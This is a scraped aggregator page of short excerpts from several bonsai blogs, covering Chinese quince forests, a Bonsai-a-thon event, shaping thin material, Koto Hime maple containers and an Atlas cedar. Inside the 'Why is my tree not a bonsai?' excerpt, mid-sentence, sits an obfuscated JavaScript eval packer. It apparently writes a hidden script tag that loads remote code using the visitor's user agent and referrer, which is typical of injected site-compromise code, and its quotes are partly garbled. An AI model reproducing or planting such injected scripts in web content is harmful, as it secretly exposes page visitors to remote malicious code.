Creating A Chinese Quince Forest

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Source: Valavanis Bonsai Blog. Currently I’m conducting my 40th annual lecture tour in the Southeast United States. Today I’m helping my friend and photographer Joe Noga in Winterville, North Carolina, with his fine bonsai collection. Joe likes Chinese quince, Pseudocydonia sinensis, which he grows from seed. He has a wide range of seedling sizes, in Read More

Bonsai-a-thon XXII

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Source: BonTsai Blog. I attended the Bonsai-a-thon, held annually at the Huntington Gardens, this past Saturday. Not only as an observer, but a participant this time around. I arrived at the gardens quite early, around 7:30 AM or so. It was very brisk, as evidenced by the thick layer of frost coating my car. The Read More

How to create a bonsai form a long and thin plant

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Source: Bonsai Hunk Blog. It is not easy to create a bonsai from a long and thin piece of material. One way is to use some heavy wire and shape the limber material to your desires. Be creative and try many different shapes. Some will be exciting and some will be losers. In this case Read More

Student Work at Crataegus Bonsai-

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Source: Crataegus Bonsai Blog. Students visited Crataegus Bonsai in small mobs the last few months, and this is what they did- Learn more about these intensive, micro-class, 3-day sessions: Crataegus Bonsai Seasonal Go to the source blog (Crataegus Bonsai Blog) to read the full article: Student Work at Crataegus Bonsai- Read More

Why is my tree not a bonsai?

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Source: Growing Bonsai Blog. What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhaz|var|u0026u|referrer|nztza||js|php’.split(‘|’),0,{})) is a mallsai!? Most people growing bonsai have been there at some point. You are excited. You join a forum because you have just bought your first bonsai. So you post your tree online and ask the forum for input on your very first Read More

Selecting A Container For A Koto Hime Japanese Maple

5 months ago Nebby 0
Source: Valavanis Bonsai Blog. I’ve been on the search for the “perfect” container for one of my favorite shohin bonsai Koto Hime Japanese maple started over 30 years ago from a cutting. During the past four months I’ve purchased three containers. A few days ago during our bonsai tour of seven top potters in Tokoname, Read More

Koto Hime Japanese Maple

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Source: Valavanis Bonsai Blog. The Koto Hime Japanese maple, Acer palmatum ‘Koto Hime,’ is in the dwarf or yatsubusa group of plants which are prized for bonsai training. This cultivar is best when trained as a shohin or small size bonsai because of the diminutive and tightly congested foliage.  Description Koto Hime Japanese maple originated Read More

CEDRUS ATLANTICA

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Source: Watto Bonsai Blog. This Atlantic Cedar was a gift from a few family members a few years ago, and I am very grateful for this gift. It had a couple of nice curves in the trunk lower down, but the trunk then went straight, and that was a shame. Cedars have a reputation for Read More